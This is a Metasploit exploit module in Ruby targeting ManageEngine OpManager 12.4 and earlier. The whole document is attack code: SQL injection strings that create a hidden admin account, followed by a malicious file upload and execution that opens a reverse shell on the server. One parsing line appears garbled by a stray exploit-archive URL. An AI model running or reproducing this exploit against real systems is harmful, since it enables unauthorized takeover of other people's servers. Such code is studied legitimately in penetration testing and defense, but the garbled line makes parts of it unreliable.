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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution", 'Description'=> %q( This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions. Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. Therefore low authority user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License'=> MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 8060, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload'=> { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME',[true, 'OpManager Username']), OptString.new('PASSWORD',[true, 'OpManager Password']), OptString.new('TARGETURI',[true, 'Base path for ME application', '/']) ],self.class) end def check_platform(host, port, cookie) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'showTile.do'), 'cookie'=> cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(host, port, cookie, platform, @dir) end def file_up(host, port, cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'rhost' => host, 'rport' => port, 'method' => 'POST', 'data'=> data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(host, port, cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(host, port, cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method'=> 'POST', 'rhost' => host, 'rport' => port, 'uri' =>normalize_uri(target_uri.path, 'adminAction.do'), 'cookie'=> cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(host, port, cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(host, port, cookie, action) send_request_cgi( 'method'=> 'GET', 'rhost' => host, 'rport' => port, 'uri' =>normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie'=> cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) # For this part the build control will be placed. # For now, AppManager plugin control is sufficient. if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) appm_adr = res.body.split('<iframe src="https://www.exploit-db.com/exploits/47227/')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] if res && res.code == 200 && res.body.include?('.loginForm') @cookie = res.get_cookies res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method'=> 'GET', 'cookie'=> @cookie, 'uri' =>'/Logout.do?showPreLogin=true', ) appm_cookie = 'JSESSIONID_APM_' << res.headers['set-cookie'].split('JSESSIONID_APM_')[1].split('; ')[0] else print_error("APM Plugin does not working!") end res = send_request_cgi( 'method'=> 'POST', 'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'j_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'] } ) if res && res.code == 302 print_good("Successful login OPM with user : #{datastore['USERNAME']}") @cookie = res.get_cookies saltcookie = res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0] res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, ';jsessionid=' + saltcookie), 'cookie'=> @cookie, ) @cookie = res.get_cookies res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'index.jsp'), 'cookie'=> @cookie, ) cookie = @cookie + " " + res.get_cookies res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']), 'cookie'=> cookie ) @cookie = cookie + " " + res.get_cookies res = send_request_cgi( 'method'=> 'POST', 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'uri' =>normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['USERNAME'] + "@opm", 'submit' => 'Login' } ) res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']), 'cookie' => @cookie ) @cookies = @cookie + " " + res.get_cookies send_sqli(am_host, am_port, @cookies, @cookie) else fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end def send_sqli(host, port, cookies, cookie) @uname = Rex::Text.rand_text_alpha_lower(6) uid = rand_text_numeric(3) apk = rand_text_numeric(6) @pwd = rand_text_alphanumeric(8+rand(9)) @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" pg_user ="" pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+" pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);" pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+" ms_user ="" ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR}," ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});" ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--" res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method'=> 'POST', 'rhost' => host, 'rport' => port, 'cookie' => @cookie, 'uri' =>normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => @uname, 'j_password' => @pwd, 'submit' => 'Login' } ) if res && res.code == 302 && res.body.include?('Redirecting to') print_good("Privilege Escalation was successfully performed.") print_good("New APM admin username = " + @uname) print_good("New APM admin password = " + @pwd) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'cookie'=> @cookie, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(host, port, @cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::NotVulnerable, 'Something went wrong!') end end end |
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